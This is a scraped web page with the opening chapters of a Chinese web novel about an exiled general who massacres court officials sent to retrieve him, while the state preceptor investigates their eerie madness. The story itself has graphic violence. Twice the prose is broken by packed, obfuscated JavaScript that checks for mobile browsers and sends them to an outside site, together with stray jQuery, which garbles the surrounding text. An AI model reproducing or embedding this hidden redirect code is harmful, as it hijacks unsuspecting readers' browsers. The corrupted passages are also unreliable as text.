《小心劣犬》 1. 营啸 檀妄生之所以被流放,是因为一场营啸。 单论营啸一事,其实无论是对世间百姓,还是朝中大臣来看,都算不上什么稀奇事。 早在这之前就有过很多次类似的情况出现:某个边陲小国在交战前夕,新兵误把远处营火的光当作了敌军突袭。 正巧当时这些人刚经历过两次败仗,营里躺着一排重伤哀吟的人。士气一片低迷,再加上又是深夜,新兵误以为敌军已经冲到眼前,自己死到临头,吓得惊喊一声,结果导致整个军营瞬间就像崩断的弦一样,身边人同样惊叫连连,接着有人开始把眼前慌忙跑动的人当成了敌军……而结局不出所料,军营陷进自相残杀的动荡里,还没等敌军侵袭,就不攻自溃了。 当然,虽然这件事发生在那个常胜将军身上实属不该。可……谁又没犯过错呢? 虽说那影将军师出已逝的镇北王,自小武功造诣奇高,又极擅沙场谋略,这些年来替皇上解决了不少边境的麻烦。但同样,那家伙能力又多了得,做事手段就有多恶劣。 不谈其他,单说军营。打过仗的都知道,那些派到营地的监军基本上都是皇城来的活祖宗。虽说交战地条件艰苦,可再艰苦也不能轻易怠慢了监军,不然那祖宗若是跟皇上说了些什么,他们这群只会耍弄刀剑的,轻则被克扣下一年的军粮,重则被抓住什么把柄,扣上个意图谋反的罪名。 但派到檀妄生那里的监军可就不同了。 这些人回来后要么一脸颓丧,步履沉重,看着像是刚参加完自己的丧礼;要么就是在马车里战战兢兢地直发抖,无论问什么都摇头不言,只有进宫见到皇上后才劫后余生似的缓了口气。众人都以为影将军对他们做了什么,可当太医仔细检查后,却没在这群人身上发现任何伤口淤青。最多也只是因惊吓过度引了些癔症而已。 这些人到底在军营里遭遇了什么,也只有皇上知道了。 但皇上却从没为此责罚过檀妄生什么。 那群大臣曾旁敲侧击地试探过几句,而那些监军们都无一例外地回答: “……那简直不是人呆的地方。” 何出此言? 无非是军纪严苛,士气紧绷,近年来又战事频发,就连见过不少大场面的监军都受不了影将军的军营,那些新兵整日处在这种血肉横飞的环境里,接连面对战友的死亡,抗不住重压也在所难免。只不过这次,不幸地导致了营啸爆发。 但实际上,发动营啸的并不是什么新兵,正是檀妄生本人。 而比起究竟是谁发动的,更令人毛骨悚然的是,导致营啸爆发的关键原因,是有人正巧撞见了檀妄生杀了自己的副将。 幸存之人说,那副将的脑袋在地上滚了数圈,而身体则被捅得千疮百孔,肠子血泥糊了一墙。让人难以承受的是,在副将被“斩首”之前,有人亲眼目睹了他正试图兜着从伤口露出的脏器往外逃的惨状,但紧接着,就被后面的檀妄生—— 一个人的仇能有多大? 更何况那副将追随檀妄生多年,两人在战场上出生入死,早已是过命的交情。那些士兵说过,两人从未有过什么大矛盾,顶多偶尔会拌两句嘴,不过都是些玩闹话。就算真遇到了什么意见不合的事,一顿酒就说开了。 既然如此,影将军为何突然下此毒手?还是在那么多人的军营里? 这还远远不是最诡异的。 当几名将士的尸体被运回皇城时,宫里人发现,这些尸体的死相都极其惨烈——与其说是被一刀封喉,倒不如说是经历了某种非人的痛苦后才被人了结似的一刀割了喉—— 那个中年男人被运回皇城时,覆着薄霜的眼睛仍旧死盯着前方。因为天寒地冻,血液完全浸透衣襟后又被冻干,导致他两片衣襟刚好凝固在伤口两侧边缘,维持着被一把扯开的模样,仿佛两块风干的树皮。 露出的心口位置血肉模糊。碎肉沫堆附在拳头大的伤口边缘,伤口中间呈明显凹陷,血肉发黑,足有一指腹那么深,以至于这看起来就像是刚挖好的坟坑和它边上的土堆。 这是用手生生抓挠出来的痕迹。而男人双手呈抓握式僵在伤口上方,指缝中糊满了与伤口相同的血污,其中一个食指指甲因为用力太大而折断了一截。 这说明什么? “——那人被一刀割喉后,仰倒在地上,在脖子不断涌血的情况下,还在试图用最后那点力气去抓挠心口——就像是要把自己的心脏活活挖出来似的。但后来宫里那些人彻彻底底检查了遍伤处,你猜怎么着?那人在抓挠胸口之前,那地方完全没有任何伤痕或者病症。” 船舱里,一身穿青袍的胖男人坐在桌前,无意识摸了摸后脖颈,啧啧两声,唏嘘道:“其余十五具尸体,都是这种惨状。毫无征兆的,要么试图用手活活掐死自己,要么就是把脑袋一直往树上撞,但最后的死因都是被人一刀抹了脖子。” 一股凉风骤然吹开房门。 围在桌边的另两个男人吓得一激灵,抬眼看去,才意识到他们刚刚听得太入神,竟没注意到外面已经阴云密布。海浪撞在甲板上发出声响,其中紫衣男子瞧了眼桌上微微抖动的茶盏,紧张地搓了搓手,起身去关门。 “一刀抹了脖子?”另一男子这时问道,“可是,影将军不是几乎不用刀吗?” 当然,这也是值得一提的特殊之处。 影将军在作战时几乎很少用刀,而是铳。除了身手高深之外,他还擅长研制各种火铳,以及在战场上将这种武器发挥到极致的战术。民间认为,影将军之所以能够百战不殆,就是因为他们手上那把铳。皇城中的权贵觉得,影将军之所以能在触怒皇上那么多次仍能活到今天,全凭仅存在他脑袋里的那些制造铳的关键之法。 这些说法纷杂难辨,大多都是从宫中那些被刻意添油加醋的流言里推测过来的。但如果听得足够多的话,就会发现,这些真真假假的推测里,都有一个共同点,那就是影将军营中的火药非常非常多。 “因为弹丸都没了。” 胖男人瞧着两人不解的表情,再次解释道:“所有的火药,全都没了。营啸爆发后,那些追随影将军的部下拿铳杀了不少胡乱跑动的人。然后不知道怎么回事,那影将军杀到一半,忽然转头下令要销毁营里所有的火药和铳,一点不留。” 海浪声被挡在了门外。他再次摸了摸脖子,“具体原因大家也不清楚,据传,其中一个追随影将军的部下交代说,是为了平息混乱,以及提防敌军抢占这批物资。但你说,一个追随发动营啸罪魁祸首的人说出来的话,能有几分真?” 两个男人半懂不懂地看了眼对方,又看了看那个胖男人。其中那个关门的男人往回走时,正巧瞟到了胖男人的后脖颈。几缕冒油的发丝下,那肉实的后颈已经被挠得泛红了一小块。 男人张了张口,想问些什么,却听那胖男人续道:“影将军被押回城后,关于那场营啸的事儿半个字都没说。刑部那些人能用的手段都用遍了,就想让他开个口。后来他倒也的确开口了,但都是耍人玩的胡话。” 另一男人捧着茶盏暖手,道:“……我知道,当年影将军战败一事传过来后,整个皇城都跟蒙上一层黑雾似的,沉压压的,怪吓人的。大家都想知道发生了什么,可那话都快写在脸上了,就是没人问出口。” “谁敢说?”紫衣男人被挑走了话头,坐回到桌边,叹了一声:“影将军下狱的那几天,皇上她一改往日性情,直接处置了好几个在宫里添油加醋议论此事的小官,甚至还下令禁传此事,违者直接……”他做了个抹脖子的动作,“那可是掉脑袋的事。” “但影将军最后不还是招了吗?”另一男人瞧了眼房间四周,道:“不然也不会是流放孤岛这么个结果了。皇上虽对影将军多有宽容,但影将军闹出这么大个祸来,若是不交代清楚缘由,皇上断是不会让他活着离开那刑牢的。” “问题就在这儿。” 胖男人插话道:“一场营啸,大半的人死在自己人手下,伤亡惨重不说,火铳损失不计其数。按常理说,这种事诛三族都不为过。就算是皇上亲儿子,那也未必能保全性命。更何况还是个无亲无故的人。但影将军最后也仅仅是被流放到荒岛而已,那件事情后来也只是用‘一场普通的营啸、将军失责导致战败’草草盖了过去。” 他瞥了眼身后紧闭的房门,然后向前倾身,放下摸脖子的手,放低声音说:“如今三年过去了,边境战事忽然频发,我军连连败退,皇上这时不顾劝阻,执意要把早已流放的影将军给‘接’回来……你知道这说明什么吗?” 外面海浪咆哮着扑打甲板,船体跟着稍稍晃动,桌上的一盏烛灯熄灭了。两人心下莫名一悚,不由道:“什么?” “旧事重演啊。”胖男人直直盯着两人,阴影罩在他半张脸上,“必然和那场营啸的真相有关。” 两男人瞟了眼对方,觉得有些发毛,紧张道:“那那件事的真相……” 胖男人又仰回到椅背上,习惯性摸了摸后颈,说:“当年影将军只承认自己杀了副将,但对那些士兵指控的话却闭口不谈。至于杀人的原因和营啸发生的所有细节,更是一问三不知。后来是国师亲自下了趟狱,事情才稍微有点转机。没过三天,刑部就把影将军交代的罪状递给了皇上。” “具体那真相到底如何,除了皇上和身边近臣之外,”他朝着一侧墙壁转头,示意隔壁房间,声音压到只有彼此能听见:“也只有那位知道了。” . “——他们知道个屁!” 隔壁房间里,一抱着剑的侍卫呸了一声,说:“这群老家伙,一天天净鬼扯些没用的东西来危言耸听。我这就去给他们点——” “让他们说去吧。” 萧明灿靠在窗边,专心擦着匕首,轻声道:“连着赶路了一个月,还是特意去荒岛接那个十恶不赦的影将军。他们整日提心吊胆的,生怕自己一到地方就死在那疯子手里。若是不说出来,就这么憋在心里自己吓自己,到时恐怕也会吓出乱子。” “说说影将军也就罢了,可他们现在都快议论到国师头上了。”侍卫说:“国师就在这里,他们还敢肆意妄谈,真当这里远离皇城后就成他家后院了吗?” “何必同他们置气?”萧明灿放下帕子,瞧着匕首,和缓道:“先前被派来接影将军回来的人足有两批,近百人。但这些人自从踏上那座荒岛后就再无音讯,生死不知。皇城里虽无人敢大肆议论些什么,但心里都不约而同觉得他们早已葬身荒岛。” 萧明灿抬起眼,看向言生。灯架烛光飘摇,映着她右眼下那两颗并列的小痣,和右耳的玄色流苏坠。那耳坠随着动作轻轻晃动,但在黑发下并不显眼。国师向来不爱束发,只是随意散在身后,因为发尾刚及肩胛,即便散着,也不显半分凌乱。反而让人觉得有几分亲和的清秀。 言生依旧板着脸。萧明灿无声笑了笑,温和道:“那些人在皇城过得还算不错,突然之间就被派到这里来‘送死’,换做是谁,都不可能一点想法也没有。他们已经忍一个月了,如今马上就要登岛了,让他们随便发泄一下吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736342|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 言生沉默片刻,接着想了想,说:“……属下还是想不明白。皇上当初压根就没打算让国师过来,这天寒地冻的,路上又颠簸艰辛,国师身体不好,何必主动接下这苦差事?” 萧明灿把匕首插进腰后,“檀妄生跟皇上说了,如果我不主动过来,他就要一直留在那岛上。” “他想做的事多了去了。”言生说,“五年前,皇夫私下同他叙旧,觉得他年过弱冠,府上常年空得像个鬼宅,想着给他说门亲事。结果他倒好,大言不惭地想要走皇夫怀里养了十年的狗,说瞧着它最好看,想抱回去看院,叫声听着也有烟火气。” “……时局不同往日。边境战事激烈,我们又连吃三场败仗,险些失了一城。”萧明灿走到桌边,拿起搭在椅背上的白色狐裘,说:“我怎么能眼睁睁看着国破?” 言生道:“可……这摆明了就是耍人的,谁都知道影将军对国师记恨——” 门外传来一阵脚步声。紧接着,一侍卫推开门,行礼道:“大人,我们马上就要靠岸了。” 萧明灿点点头。言生接过狐裘,帮着萧明灿穿上,“……国师就留在船上吧。等着属下带人去岛上看看情况再说。” 萧明灿走出屋外,理着额发,“那信上说了,必须国师一人登岛。” “不行,”言生跟在身后,“那影将军明摆着就是在耍我们,先前近百人生死不明,现在又让国师一人登岛,谁都知道那人断不会乖乖跟着国师上船。” 萧明灿望着前面越来越近的海岛,刚要说些什么,却见前面甲板上已经聚了不少人,其中多半是随行的大臣。此刻那些人正低声议论着什么,见国师来了,又齐齐收声,老实行礼。 其中一人握了握手里的剑,像是给自己壮胆一样,然后道:“国师,我们准备好了。” 萧明灿瞧着这些人各个视死如归的模样,不由笑了笑,道:“……各位这是都要登岛?” 几个小官面面相觑,那眼里明晃晃写着:“难道不是吗?” 这时,一穿着青袍的胖男人从人群中挤出,提声道:“臣等奉命随国师押送影……罪人檀妄生,自然是要护国师大人周全,怎……” 他嘴唇忽地微微一颤,身体像是被雷劈了般一顿。紧跟着,他不住抬手挠了挠后颈,仿佛那里突然间被毒蚊子咬了一圈包一样,也顾不上什么失态,抓挠得越来越夸张。嘴里续道:“怎能自己待在船上,让大人一人登岛?” 萧明灿看着他后颈那颤抖的手,没有说话。 一旁的言生压低声音,坚决道:“属下一定要跟着国师。” 船已经放慢速度,开始靠岸。萧明灿扫了眼周围数十个侍卫和冷脸的将军,又瞧了眼旁边另一艘船上的随行将士,拢了拢狐裘,觉得拗不过他们,轻叹一声,“……好吧,那就有劳各位了。” ——话虽如此,但事实上,不过半盏茶的功夫,萧明灿就后悔让他们跟着下来了。 尽管最终只下来了小半人,但自打这些人从登岛开始,窃窃私语声就没停过。虽说顾忌到她这个国师在这,言行多有克制,但没走几步,瞧见远处那被几处阴影遮盖的荒宅,又被吓得议论起来。 “……据说这里曾是个小渔岛,”有人颤颤开口:“几乎与世隔绝,后来不知怎的爆发了场疫病,村子里短短七天就死了大半人,剩下的人慌得不行,匆匆烧了尸体后,就都连夜离开了,连行李都没敢回屋收拾。后来这里就成了座荒岛。” “这地方邪得很。”另一人附和道:“据说之前那两批到这里来的人,在传信里都提过:‘天气阴沉,似有暴雨将至’,咱们如今不也遇到了?”他指指天,“刚才还好端端的,没由来的,一靠近这岛,天就变了……” 走在前面的萧明灿听得头疼,揉了揉额角。 言生一边吩咐侍卫看好附近,一边偏头对萧明灿小声说:“这些人胆子虽小,但好歹是宫里派来的……影将军如果想活着离开这里,就算犯浑做些什么,也应该念及他们身份尊贵,不能藐视皇上,把他们全杀了。” 萧明灿听出了她话里意思,“如果最坏的情况出现,我真出了什么事,这么多人,总有一个能趁着他顾虑的间隙跑回船上去报信?” 言生目光偏离,没有反驳。 “……嗐,鬼神之说那都是假的,各位莫要自己吓自己。”身后那胖男人说道:“我们这么多人,又有小沈将军和言生大人护着,自然不怕那几个被流放的草莽匹夫。就算他们反抗,”他提了提手上的剑,说:“我们也能——” 砰——! 一股温热的血从半空炸开,溅向周围几人。两个朝臣还维持着张口说话的样子,可话音却被截在了嗓子眼里。他们怔怔抬手,抹了把脸上泛红的肉沫。 那一瞬间的死寂里,萧明灿稍稍回头,余光瞥向脑袋被轰没一半的胖男人。 “……亲爱的,” 萧明灿没管溅在狐裘上的血,她抬起眼,循声望向前方那道披着黑色大麾的人影。 檀妄生拎着火铳,慢步朝着这边走来,身后还跟着三个随从。十几名侍卫和随行将军已经护在了国师和朝臣身前。 “你明知道我最讨厌的两件事,一是不守约定,二是在别人的地盘上喧宾夺主。” 远处隐隐传来海浪声。人群一片寂静。 两人相距不过二十步远。檀妄生无视了那几个提剑的侍卫,把枪口对准萧明灿,吊儿郎当地笑起来,颈前那道横向的伤疤极其显眼。 “但国师你却想同时做这两件事?” 2. 枪杀 萧明灿没有动,也没有说任何话。 她看向那双带着笑意的眼睛,忽然想起了三年前在刑狱里见到他时的样子。 十一月的阴冷天,他就靠坐在墙边,只穿了件白色中衣,全身几乎被鲜血浸透,脖子上还缠着纱布,手上遍布受刑的痕迹。但当他抬起头时,眼底却带着一种完全没有刻意伪装的坦然。 他明明没有笑,也没有说话,只是平静地看着她。那双浅淡的灰黑色眼睛常常让人有种他一定比传闻更加亲和的错觉。而现在,牢房昏暗的光线在他眼底铺上了一层阴影,倒像是利用温柔伪装的怪物终于露出了本来面容。 而当萧明灿与之目光相对时,他的视线又仿佛穿透水面般,看穿了她脑中所有的想法。可他的姿态却依旧安稳、放松——见过他的人一定都会为此感到不寒而栗,就好像他才是那个站在牢外的人—— 就好像他笃定自己不会死一样。 疯子。 那是她见到他的第一印象。想不到三年过去了,这想法依旧未变。 冷风掀起一阵淡淡的血味。当鲜血沿着石路缝隙淌向几人脚边时,终于有人颤声开口:“你……一个罪臣,岂有此理……!” “明明是各位不信守约定,怎么反倒成我的错了?”檀妄生稳端枪管,瞄着那几个官员,考虑道:“……既然臣已经罪该万死了,那再杀几个应该也无妨吧?” 侍卫们想要阻拦,却被檀妄生身边那几支火铳生生逼了回去。此时此刻,他们正僵站在通往荒村的石道上,两侧尽是光秃秃的枯树,正前方最远处则是几间破破烂烂的木屋,院内杂草丛生,木栏塌折。萧明灿旁边的随行将军扫了眼前方,发现其中两三扇屋门已经不知所踪,只露出屋内黑漆漆的角落,窗纸也早已破损。 他嘴唇几乎没怎么动,用只有两人能听见的声音对部下道:“周围或许还有埋伏,别冒险。” 其中一官员指着檀妄生,“你……你……” “瞧瞧各位这浩浩荡荡的阵势,”檀妄生扫了那些人一眼,脸上竟还带着笑意,“难不成真当这里是什么避暑行宫了?” 众人惊怒交加。他们虽听过不少关于檀妄生性情无常的传闻,也知道先前来这里的那百人杳无音信的遭遇,但……传闻到底只是传闻,比起那添油加醋的猜想,其中大部分人更愿意相信这岛上其实有某种不能说的隐情。 可现在,前一刻还在同他们闲谈的工部主事,如今就倒在他们脚边,身体还热乎着呢,脑袋却被砸没一半……一个被流放的罪臣,怎敢妄为至此? 众人握紧了佩剑,但到底没人敢动一下。几个比那胖男人官职小的人都闭上了嘴,生怕自己也落得个和他一样的下场,即便他们想在国师大人面前表现表现,让大人到时候在皇上面前美言几句,但也没必要为此把命给丢了不是? 几人思及于此,又悄悄按回了剑,等着国师定夺,但见国师只是站在原地,看着檀妄生。 “一个罪臣手里怎么会有铳?明明那些武器早就被收缴……”人群里,另一官员皱眉喃喃道:“他被流放到这里的原因到底是……” “我给各位一个机会,现在扔下手里的刀,转过身,回到船上。”檀妄生目光转回萧明灿,微笑道:“当然,国师留下。” 萧明灿想要开口,但旁边的言生却抢先道:“不可!我等奉命押送罪臣回城,岂有你扣留国师的道理?别再胡搅蛮缠了,到时皇上——” 萧明灿稍一抬手制止了他们,轻声问:“先前登岛的那些人在哪?” 檀妄生说:“他们都很安全。” 萧明灿点点头,望了眼阴沉沉的天,似是思量着什么,然后道:“大家都回去吧。” 之前和胖男人待在一屋的紫衣官员道:“怎可……” 怎可如此? 言生不理解地看向萧明灿。如果说街巷传闻十有八九是假的,那么地上那具还在淌血的尸体就证明了关于檀妄生的传闻一定都是真的。在这种情况下,国师怎么还敢把自己独留在一群匪窝里?就算是要双方冷静下来去谈判,可……和一个敢漠视律法的疯子能谈成什么? 但随行将军和身后的官员却有所犹豫。即便危险,可所有人都知道这是最好的解决办法。他们的命令是押送檀妄生回皇城,但却对檀妄生一无所知。在登岛之前,他们甚至不知道这些罪臣手上竟有火铳。 皇上到底隐瞒了些什么? 周围是不是还埋伏着其他人?有多少人? 他们在靠岸时根本没看到先前从皇城过来的船只,哪怕是残骸碎片也没有,那些船去哪了?难道已经返回皇城了吗? 一概不明。 他们此刻就像只懵懂的兔子一样闯进了敌方地盘,一言一行皆暴露在对方的视线之中。虽说将国师一人留在这儿太过冒险,但如果不这么做,他们又能如何呢?就这么僵持在这里和那疯子讲道理?打口舌战?眼下听从命令,回到船上从长计议才是唯一办法。 退一万步讲,就算国师大人在这期间遇到什么危险,但最起码,他们可以和船上其他人讨论出一套万全的解决之法,不至于像现在这样呜呜泱泱一群人往人家枪管上撞。 短短数息间,几个做出权衡的官员开始试着往后退。随行的小沈将军也朝部下稍一点头,接着卸掉腰侧佩剑。 言生一步未动,但她看的却不再是萧明灿,而是萧明灿身侧那个侍卫的手。 十一月初的冷天,那年轻的侍卫鬓边却冒着冷汗,他定在原地,右手握着剑柄,拇指抵住剑鞘——这并不算什么值得多看两眼的奇怪事,毕竟他还年轻,而对方却拿着火铳,差距悬殊的情况下要保持高度警惕,害怕些也很正常。 但他有点太害怕了。他的拇指一直在微微颤抖,甚至多次滑开了剑鞘。 萧明灿自始至终都没有看他。言生目光上移,看向侍卫圆睁的眼睛,明明他在盯着檀妄生,但瞳孔却不断抖动,就好像是在用余光去来回盯着檀妄生身上的每一处细节一样。没由来的,言生忽然想起了绕着火苗飞转的蛾子。 紧接着,越来越多的佩刀被扔到地上。 大部分官员已经开始往后退,只剩下将军和言生几人守在萧明灿身边。檀妄生略一偏头,几个随从当即把枪口稍稍放低,以此表示各退一步的诚意。 萧明灿依旧没有动。 言生开始卸佩刀,下意识望了眼浓云集聚的天,眼皮轻轻一跳。 只见下一瞬,言生身侧一士兵突然暴喊一声:“——护驾!”几乎没给任何人反应的时间,抽剑朝檀妄生掠去—— 血雾伴着砰响炸开。 言生和几个侍卫当即护住国师,而随行侍卫中又有几人不顾命令冲向檀妄生。震响霎时如同惊雷般填满周围。 几个官员下意识抱头趴下保命,而其中几人却像是疯了似的跟着拿刀杀向檀妄生,嘴里大喊着“保护国师”,但当那些人身体接二连三倒地时,周围抱头的官员看着眼前被炸开的脸,吓得直接连滚带爬往岸边跑去。 言生也想带萧明灿离开这里,但萧明灿却在随行将军应对混乱之际,转而拉住言生的手腕,趁乱跑进了侧方枯树丛。 沿着枯树丛一路往上便是崎岖山坡,两人跑了一会儿,萧明灿体力有些不支,靠在一粗树后,喘息之余转头看了眼下方血迹溅洒的石板路。 三四百步开外,方才那几个试图行刺的侍卫就倒在那里,剩下的官员则都跑到了岸边,一人环抱粗的树丛和山石挡住了那群人的身影,不过从周围人的动作来看,应该是在争前恐后地往船上跑。 而檀妄生似乎并没有继续追他们的打算,只是站在原地。接着,他似乎被什么东西引走了兴趣,朝其中一侍卫尸体走去,用枪筒翻开他的身体,随后蹲下身,检查着什么。 言生皱紧了眉,也盯着这混乱又诡异的场面。 紧跟着,言生看到一穿着淡色袍子的官吏在枯树丛里慌张跑动。 距他身后不远的一处山石后,另一中年官员拼命小声喊着那官吏,又时不时回头看向船的位置,似是在叫那人赶紧跟着他逃跑。可那官吏却像什么都没听到似的,目光不停扫巡四周,接着朝离岸边和中年男人越来越远的方向跑去。 “……他在做什么?难不成是想找到国师大人?”言生眯着眼睛,看着他空荡荡的腰侧和双手,觉得离奇,“那人连剑都没拿,还想着要立功,这是被吓傻——” 又是一声砰响。 血线霎时从官吏颈前呲出。那官吏迈步刚到一半,身体陡然一软,一头撞上了前面的枯树,没了生气。 言生简直难以置信。 萧明灿只是静静瞧着下方的狼藉,若有所思地想着什么。 “……那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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言生忽然想起了那些官员之前说的“诡异之事”:之前明明一切都好端端的,可靠近这岛之后就天色异变。赶巧的是,这座岛以前还是住着近百户的小渔村,可因为一场莫名的疫病,短短半月内就成了荒岛。如今那些官员和将士一个个又像失了智似的突然发狂,然后又四处乱逃…… 言生用指甲狠切了下指腹,别让自己胡思乱想。萧明灿抽空看了眼言生,她依旧冷着张脸,扫视周围,看不清任何情绪。但萧明灿实在是太了解这个跟着自己近十年的侍卫了,她悄悄指了指下方那些尸体,道:“你看那些人倒下的位置。” 言生望去。萧明灿说:“石板路上躺着的那几个人,都是方才想要‘行刺’影将军的人。侧方那些倒在偏僻枯树附近的,是想要趁乱‘逃’到其他地方的人。而最前方宽阔的海边,一群人扎堆聚在那里等着上船,但却没有一人受伤。发现什么了吗?” 言生道:“影将军在有目的地杀人?” 萧明灿点点头,“而且,这么一看的话就不难发现,倒下那些人无论是不顾命令突然行刺,还是逃到远离岸边的枯树丛,行为举止都极其怪异。” 说着,她朝几百步远外的海边稍抬下把,“那些人才是真正的‘正常人’。刚刚登上陌生的荒岛不久,就突然爆发了一场失控的混乱,而且对方还有绝对力量压制。不论换做是谁,第一想法肯定是先往船上跑,保命之后再做打算。而不是跑到一条最不熟悉、最偏远的险路上。” 言生沉思了片刻,说:“仔细想来,那些人的确不太对劲。之前在船上我就看到有几人手抖得不成样子,甚至有几个侍卫在巡视时一直不安地挠着甲板护栏,到最后连指甲都被磨破了……” 她神色凝重,没再继续描述下去,道:“属下当时以为这些人只是因为太惧怕影将军才这样的,毕竟当中有不少人曾在影将军的军营待过一段时间。” 萧明灿望着下方的尸体,喃喃回想道:“不安地抓挠东西,举止怪异,又突然发动袭击,最后慌不择路地逃跑……” 檀妄生已经发现了那个正爬动的侍卫,他装填着铁弹,慢悠悠地往侍卫方向走去,直到距离百步远时才站定,接着缓缓抬起铳。 萧明灿没有眨眼。 冷风卷起几片干枯的叶子,盖在了那侍卫鲜血渗流的后脑上。 言生握紧了剑,“疯子……” 檀妄生把火铳扛到肩上,转过身,望向萧明灿所在的山坡。 寒风掠过,宛如蜘蛛腿般光秃秃的树梢在半空中怪异摆动着。 萧明灿在枯树后望着下方的一举一动,低声道:“……看来,影将军这是在重演当年那场营啸。” 3. 中邪 所有人都想知道,三年前那一夜的军营里到底发生了什么。他们一直以为这一“秘密”只有皇上和身边几个近臣才知情。但其实,就连皇上也并非全然清楚关于那场营啸的所有细节。 这并不是影将军在有意隐瞒,当然,也许他的确隐瞒了些真相,毕竟他是军营里为数不多的幸存之人,如果想要隐瞒什么细节也并不算什么难事。但……重点在于,那件事情远比所有人想的要更加诡异,更加失控。 就如同现在这样。 就像没人能解释当初那些被送回皇城的将士身上,为何会有极其惨烈且不同寻常的伤口一样。如今的他们也不清楚那些在几天前还好端端的人,为何会在登岛后突然发狂。而关键的巧合之处在于,他们在前不久也有过和那些军营将士相似的自|残举止。 难道是某种奇怪的—— 言生问:“……难道是什么疫病?” 但话一出口,她又否定道:“不对……若说是疫病的话,大家在同一艘船上相处了近一个月,这群人症状显现不过也就一两天,而今天就突然彻底爆发了……通常来讲,如此迅疾的病症,应该不可能只有这点人遭殃。更何况,如果真是什么能传染人的疫病,那么和病患接触最频繁的人得的可能性不是更大吗?” 她冒险看向石板路上那几个躺在血泊里的官员,“……但和他们日日共处一屋的同僚都不在那里。” 的确如此,倘若这些人真得了什么疫病的话,为何和他们接触最密切的人却没有发狂伤人?还有,这可怕的疫病到底从何而来?船上没有任何腐烂之物,更没有死尸。虽然天气寒冷,但远没到严寒的程度。他们在海上日夜航行,根本没有任何得病的契机。 难道是在登船之前染上的? 可既然如此……为何偏偏潜伏了近一个月,在登岛后突然同时爆发? 浓云在天际层层堆积,宛如即将从天边垂落的灰色帐幕。檀妄生身边的三个随从正分散巡视四周,似乎在确认还有没有“漏网之鱼”。不多时,其中一个随从从海岸附近跑来,附在檀妄生耳边说了什么。接着,几人同时看向崎岖的山坡。 萧明灿靠在树后,望着周围随风诡异摆动的枝条,若有所思地点了点头,说:“……如果说是疫病的话,也的确有些牵强。难道是什么癔症?可这些人虽说都有过或多或少的自|残行为,举止也怪异反常。但仔细想来,这群人也并非发狂到完全丧失了理智。” 她对言生道:“注意到刚才那两个侍卫和官吏想要跑到的地方了吗?他们都想要朝那个偏僻之处去。退一步来讲,就算他们真得了癔症,没想到逃跑要往最近的岸边跑,而是更偏僻的地方跑,应该也不能几个人都不约而同地选定了那一处地方吧?那地方虽然适合躲藏,但旁边就是礁石断崖,一旦失足,轻则滚下陡坡,重则坠进海里。” 他们为何不选择其他地方?比如说石板路另一侧的枯树丛,又或是像她们一样爬上山坡? 言生明白了什么,“……和影将军杀人一样,他们都是有目的地在往那地方跑。”她顿了一下,道:“难道是……蛊毒?” 萧明灿想了想,说:“如果是这种能操控活人走动的蛊,通常来讲,附近应该都会有制蛊人,但我们刚才根本没听到任何笛声或其他人影出现。” “……也是,”言生道:“如果是军营倒也算了,可这里是海岛,又是影将军熟悉的地盘,他不可能会让一个莫名其妙的人留在岛上。” 寒风呼啸扫过,周围干枯的叶子打着旋贴地飘起,擦过萧明灿的靴边。言生拇指始终顶着刀鞘,犹豫了一会儿,终于还是问出了口:“莫非真是什么……邪术?” 萧明灿瞟了眼下方,以为檀妄生会把目标放到这边,但他似乎并没有上山的打算,只是悠然地和随从聊着什么。其中一个随从走向旁边一具尸体,继而检查他身上的伤,指给檀妄生看。他们背对着两人,衣摆猎猎翻飞。萧明灿收回目光,继续往上走去。 虽然那些鬼神之说极为荒谬,且危言耸听,但眼下唯一能解释这些疑点的也就只有这个了。三年前军营突然爆发的营啸、被运回皇城死相惨烈的尸体、那份根本无法串联起前因后果的罪状,以及方才岛上发生的失控一幕…… “……先不提鬼神之说到底是真是假。”萧明灿说:“就算暂且把他们称之为‘中了邪’,但和民间那些得了癔症就精神癫狂的传闻不同,他们每一次‘中邪’,最终都会给我们带来惨痛的后果。就像那场营啸,因为兵败,险些让我们失了一城。而这次,又添了这么大的乱子……不觉得很像我们刚刚提过的蛊毒吗?人为制造,人为操控,只为达到某种目的。” 她们停了下来,因为面前横亘着一颗足有两人环抱粗的树。它的一半树根因为倒下,而不得不从土中张牙舞爪地探出头来——多亏了周围几块陷进土里的巨石,才让它被牢牢固定在了半山坡上。随着年月积累,树干下面长了几朵还未彻底盛开的野花和野草。 接着,萧明灿抬眼看向距离自己不过百步远的树丛。与这片死气沉沉的枯树不同,那里的树虽说算不上茂盛,但至少还长着叶,地上也铺着一层薄薄的野草,放眼望去,偶尔还能看到几朵黄色的野花。 萧明灿吐出一口气,提起沾上血迹的衣摆,继续往上走着,“……只不过,比起蛊毒,‘邪术’这种看不见摸不到的东西,听起来更容易让人恐慌。” 言生扶着萧明灿,在树的遮掩下瞥了眼下方,了然道:“……所以当年皇上才严令禁止其他人传论此事。如果有人亲眼见到这些,或是道听途说了什么,再刨根问底深想的话,最终肯定都会以为是那群人中了邪,才会酿成此等惨剧。” 萧明灿点点头,“但比起这件事到底是‘蛊毒’还是‘中邪’,重要的是要先弄明白,那些人突然发狂,又突然制造混乱的目的到底是什么。” 山路狭窄,言生跟在萧明灿身后。她听着国师的话,神色难得有些复杂,过了半晌,才道:“所以方才国师大人才趁乱跑到了这里?” 萧明灿刚要说些什么,又听言生沉声道:“大人太冒险了。如果刚刚那影将军把你误认成中……得了癔症之人,后果简直不堪设想。” 萧明灿不以为然地笑笑,“放心,他不会杀了我的。我手上虽没什么实权,但好歹也是个国师。他在这座几乎无人所知的孤岛上生活了三年,甚至完全没有半点心情郁结的样子,必然没你们所想的那么‘不在意生死’。” 